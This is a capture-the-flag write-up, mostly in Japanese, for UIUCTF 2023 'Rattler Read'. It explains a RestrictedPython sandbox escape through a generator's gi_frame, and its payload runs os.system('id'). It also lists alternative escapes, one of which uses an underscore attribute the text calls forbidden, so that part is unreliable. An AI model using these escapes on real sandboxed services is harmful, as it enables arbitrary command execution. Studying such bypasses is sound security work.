UIUCTF 2023 - Rattler Read
Challenge
RestrictedPython で保護された環境。
from RestrictedPython import compile_restrictedfrom RestrictedPython.Guards import safe_builtins
code = input()byte_code = compile_restricted(code, '<inline>', 'exec')exec(byte_code, {'__builtins__': safe_builtins})Solution
RestrictedPython の制限
RestrictedPython は以下を制限:
_で始まる属性へのアクセスgetattr,setattrの使用- 特定の危険な操作
gi_frame による脱出
ジェネレータの gi_frame 属性は制限されていない:
# ジェネレータ式からフレームを取得g = (x for x in [1])frame = g.gi_framebuiltins = frame.f_builtins完全なペイロード
(x for x in [1]).gi_frame.f_builtins['__import__']('os').system('id')Technical Details
RestrictedPython の仕組み
# 属性アクセスは _getattr_ でラップされるx.y # → _getattr_(x, 'y')
# アンダースコアで始まる属性は禁止x.__class__ # → RestrictedError脆弱性: gi_frame
ジェネレータの gi_frame は特殊属性だが、RestrictedPython のチェックをバイパス:
# ジェネレータの属性gen = (x for x in [])gen.gi_frame # フレームオブジェクトgen.gi_code # コードオブジェクトgen.gi_running # 実行中フラグフレームからの脱出
frame = gen.gi_frameframe.f_builtins # 完全な builtinsframe.f_globals # グローバル変数frame.f_locals # ローカル変数Alternative Solutions
別解1: cr_frame (コルーチン)
async def f(): passf().cr_frame.f_builtins別解2: tb_frame (トレースバック)
try: 1/0except Exception as e: e.__traceback__.tb_frame.f_builtinsCVE 情報
この脆弱性は CVE として報告され、後のバージョンで修正された。
Flag
uiuctf{...}
References
- UIUCTF 2023 Official
- RestrictedPython Documentation
- CVE (RestrictedPython gi_frame bypass)